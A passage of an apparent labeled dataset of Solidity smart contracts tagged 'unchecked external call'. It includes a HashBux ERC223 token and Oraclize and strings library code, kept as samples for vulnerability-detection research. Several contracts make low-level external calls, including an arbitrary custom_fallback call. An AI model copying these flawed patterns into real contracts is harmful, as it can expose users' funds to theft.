if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } }",./Dataset/unchecked external call (UC),7,7 21397.sol,"// // compiler: solcjs // version: 0.4.19+commit.c4cbbb05.Emscripten.clang // pragma solidity ^0.4.19; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) { revert(); } _; } function changeOwner( address newowner ) public onlyOwner { owner = newowner; } } // see https://www.ethereum.org/token interface tokenRecipient { function receiveApproval( address from, uint256 value, bytes data ) public; } // ERC223 interface ContractReceiver { function tokenFallback( address from, uint value, bytes data ) public; } // ERC223-compliant token with ERC20 back-compatibility // // Implements: // - https://theethereum.wiki/w/index.php/ERC20_Token_Standard // - https://www.ethereum.org/token (uncontrolled, non-standard) // - https://github.com/Dexaran/ERC23-tokens/blob/Recommended/ERC223_Token.sol contract HashBux is owned { string public name; // ERC20 string public symbol; // ERC20 uint8 public decimals; // ERC20 uint256 public totalSupply; // ERC20 mapping( address => uint256 ) balances_; mapping( address => mapping(address => uint256) ) allowances_; // ERC20 event Approval( address indexed owner, address indexed spender, uint value ); // ERC223, ERC20 plus last parameter event Transfer( address indexed from, address indexed to, uint256 value, bytes indexed data ); // Ethereum Token event Burn( address indexed from, uint256 value ); function HashBux() public { balances_[msg.sender] = uint256(80000000); totalSupply = uint256(80000000); name = ""HashBux""; decimals = uint8(0); symbol = ""HASH""; } // HashBux-specific function mine( uint256 newTokens ) public onlyOwner { if (newTokens + totalSupply > 4e9) revert(); totalSupply += newTokens; balances_[owner] += newTokens; bytes memory empty; Transfer( address(this), owner, newTokens, empty ); } function() public payable { revert(); } // does not accept money // ERC20 function balanceOf( address owner ) public constant returns (uint) { return balances_[owner]; } // ERC20 function approve( address spender, uint256 value ) public returns (bool success) { allowances_[msg.sender][spender] = value; Approval( msg.sender, spender, value ); return true; } // ERC20 function allowance( address owner, address spender ) public constant returns (uint256 remaining) { return allowances_[owner][spender]; } // ERC20 function transfer(address to, uint256 value) public { bytes memory empty; // null _transfer( msg.sender, to, value, empty ); } // ERC20 function transferFrom( address from, address to, uint256 value ) public returns (bool success) { require( value <= allowances_[from][msg.sender] ); allowances_[from][msg.sender] -= value; bytes memory empty; _transfer( from, to, value, empty ); return true; } // Ethereum Token function approveAndCall( address spender, uint256 value, bytes context ) public returns (bool success) { if ( approve(spender, value) ) { tokenRecipient recip = tokenRecipient( spender ); recip.receiveApproval( msg.sender, value, context ); return true; } return false; } // Ethereum Token function burn( uint256 value ) public returns (bool success) { require( balances_[msg.sender] >= value ); balances_[msg.sender] -= value; totalSupply -= value; Burn( msg.sender, value ); return true; } // Ethereum Token function burnFrom( address from, uint256 value ) public returns (bool success) { require( balances_[from] >= value ); require( value <= allowances_[from][msg.sender] ); balances_[from] -= value; allowances_[from][msg.sender] -= value; totalSupply -= value; Burn( from, value ); return true; } function _transfer( address from, address to, uint value, bytes data ) internal { require( to != 0x0 ); require( balances_[from] >= value ); require( balances_[to] + value > balances_[to] ); // catch overflow balances_[from] -= value; balances_[to] += value; Transfer( from, to, value, data ); } // ERC223 Transfer and invoke specified callback function transfer( address to, uint value, bytes data, string custom_fallback ) public returns (bool success) { _transfer( msg.sender, to, value, data ); if ( isContract(to) ) { ContractReceiver rx = ContractReceiver( to ); require( rx.call.value(0) (bytes4(keccak256(custom_fallback)), msg.sender, value, data) ); } return true; } // ERC223 Transfer to a contract or externally-owned account function transfer( address to, uint value, bytes data ) public returns (bool success) { if (isContract(to)) { return transferToContract( to, value, data ); } _transfer( msg.sender, to, value, data ); return true; } // ERC223 Transfer to contract and invoke tokenFallback() method function transferToContract( address to, uint value, bytes data ) private returns (bool success) { _transfer( msg.sender, to, value, data ); ContractReceiver rx = ContractReceiver(to); rx.tokenFallback( msg.sender, value, data ); return true; } // ERC223 fetch contract size (must be nonzero to be a contract) function isContract( address _addr ) private constant returns (bool) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } }",./Dataset/unchecked external call (UC),7,7 39383.sol,"//just updated the encrypted api key //updated contractBalance -= 57245901639344; pragma solidity ^0.4.2; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } } // /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(""."")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(""."")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice 